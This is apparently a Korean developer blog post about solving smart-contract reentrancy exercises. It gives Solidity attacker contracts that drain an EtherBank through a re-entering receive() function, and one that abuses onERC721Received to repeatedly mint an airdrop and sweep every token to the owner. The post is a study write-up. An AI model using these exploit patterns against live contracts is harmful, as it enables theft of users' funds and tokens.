[SCH] Reentrancy 2

frenchkebab·2023년 4월 24일
0

Web3

목록 보기
4/8

Reentrancy 2

ETH transfer

Reentrancy 1편 에서 기껏 test를 해놓고 실제로 reetrancy 문제를 풀면서 커다란 것을 놓쳤다... -_-;;

아주 간단하고 클래식한 문제였는데....

    function attack() external payable {
        IEtherBank(target).depositETH{value: msg.value}();
        IEtherBank(target).withdrawETH();
        (bool success, ) = owner.call{value: address(this).balance}("");
    }

    receive() external payable {           
     	target.callwithdrawETH();
    }

이렇게 풀고 당연히 앞의 Reentrancy 1편에서 보았던 바와 같이 마지막 external call은 revert되고 그 이전까지의 모든 call들이 동작할 것이라고 예상했다.

근데 돌려보니 아예 모든 transaction이 fail돼서 벙쪄있었는데...

지금 보니 옛날에 다 알고 있던 내용을 놓쳤던 것이였다.

방법1)

    receive() external payable {           
     	target.call(abi.encodeWithSignature("withdrawETH()"));
    }

receive함수에서 이렇게 low-level call을 해줘야 전체 revert가 안난다는 것을 까먹고 있었다...

방법2)

    receive() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdrawETH();
        } else {
            (bool sent, ) = attacker.call{value: address(this).balance}("");
            require(sent, "Transfer Failed!!!");
        }
    }

혹은 모범 답안에서는 이렇게 low-level call 없이 풀게끔 되어있었다.

역시... 당연하게 알고있던 것들도 다시보니 새삼스래 새롭게 느껴진다.

ERC721

ERC20의 경우 기본적으로 fallback() 혹은 receive()가 호출이 되지 않는다.
ERC721 경우 contract를 호출하였을 때, onERC721Recieved()가 호출되면서 재진입이 가능할 수 있다.

    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns(bytes4) {
        if(tokenId < maxSupply) {
            ApesAirdrop(target).mint();
        } else {
            for(uint256 i = 1; i <= maxSupply; i++) {
                ApesAirdrop(target).transferFrom(address(this), owner, i);
            }
        }
        return 0x150b7a02;
    }

해당 경우와 같이 ApesAirdrop에서 재진입을 하고, 마지막 호출에서 모두 owner에게 전송해버리는 경우가 가능하다.

profile
Blockchain Dev Journey

0개의 댓글

Powered by GraphCDN, the GraphQL CDN